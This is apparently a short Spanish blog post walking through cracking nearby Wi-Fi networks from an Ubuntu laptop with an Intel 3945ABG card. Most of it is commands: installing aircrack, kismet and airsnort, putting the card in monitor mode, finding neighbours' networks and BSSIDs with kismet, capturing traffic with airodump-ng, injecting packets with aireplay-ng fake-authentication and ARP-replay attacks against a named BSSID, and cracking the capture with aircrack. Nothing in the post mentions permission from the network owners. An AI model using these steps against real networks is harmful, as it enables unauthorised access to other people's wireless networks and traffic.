Trasteando con el wifi de un portatil

Según creía 3945ABG no soporta packet injection.
Pero una vez que añado estos repositorios:
## UBUNTU SECURITY UPDATES
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse

## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse

sudo apt-get update
sudo apt-get install build-essential
sudo apt-get install aircrack
sudo apt-get install kismet
sudo apt-get install airsnort
sudo apt-get install linux-source
sudo apt-get install linux-headers
uname -a
sudo apt-get install linux-headers-2.6.20-16-generic
sudo apt-get install shareutils
sudo apt-get install sharutils

modifico el fichero /etc/kismet/kismet.con añadiendo la línea
source=ipw3945,eth1,eth1

El driver para poner el interface en modo promiscuo para intel viene incluido en ubuntu. Sólo tenemos que activar el modo promiscuo con:
sudo airmon-ng start eth1

Ahora miramos quien anda en el vecindario con sudo kismet. Pulsamos 's' (para ordenar y así permite ordenar) Yo suelo ordenar por SSID
Seleccionamos la fila y enter (o 'i') para ver detalles. Apuntamos el BSSID
(Es sorprendente el número de redes que se pueden ver, normalmente veo 4 ó 5 con kismet he llegado a ver 15)

Ahora comenzamos a guardar el tráfico con
sudo airodump-ng --channel 11 --write fichero eth1
sudo ifconfig eth1 up
sudo iwconfig eth1 mode Monitor channel 11
sudo aireplay-ng -1 0 -e ssid -a bssid -h 00:01:02:03:04:05 eth1
sudo aireplay-ng -3 -b 00:11:2F:2E:FF:C7 -h 00:01:02:03:04:05 eth1

Cuando tenemos suficiente sudo aircrack fichero
Otra opción (que recomiendo por su efectividad es usar wifiway wifislax)

Ahora a montar todo esto en la fonera.

Si no coneces alguno de los paquetes que uso ni te molestes...